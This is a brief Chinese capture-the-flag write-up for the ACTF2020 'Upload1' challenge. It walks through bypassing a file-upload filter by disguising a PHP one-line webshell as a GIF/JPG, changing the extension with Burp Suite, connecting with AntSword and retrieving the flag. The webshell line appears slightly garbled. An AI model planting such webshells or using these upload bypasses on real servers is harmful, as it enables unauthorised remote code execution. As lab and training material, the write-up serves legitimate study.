1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马
GIF89a? <script language="php">eval($_REQUEST1)</script>
2、使用bp抓包修改后缀，点击发送
3、不关浏览器的代理，在bp中将该包放行
4、用蚁剑连接
5、在根目录中找到flag
[ACTF2020 新生赛]Upload1
不拿flag不改名2024-09-12 13:20
相关推荐
换元不配限19 分钟前
Jetpack Compose 状态管理指南爱笑鱼3 小时前
JNI（二）：Java 里的一个 long，为什么能找到 C++ 对象？爱笑鱼4 小时前
JNI（一）：nativePollOnce() 到底去了哪里？hqk6 小时前
玩Android×AI Coding：从产品到代码，完整跑通一套 AI 软件研发工作流安卓修改大师6 小时前
安卓修改大师实战：深入解析Android主题Theme修改与沉浸式界面实现齊家治國平天下7 小时前
CarService 深度解析 —— 基于 Android 14stevenzqzq9 小时前
app性能日志工具DB哥讲数据库9 小时前
【最新】MySQL9.7安装教程：图文详解（附MySQL安装包）IT乐手9 小时前
Android 写本地日志工具类非典型Android程序员10 小时前
Launcher学习总结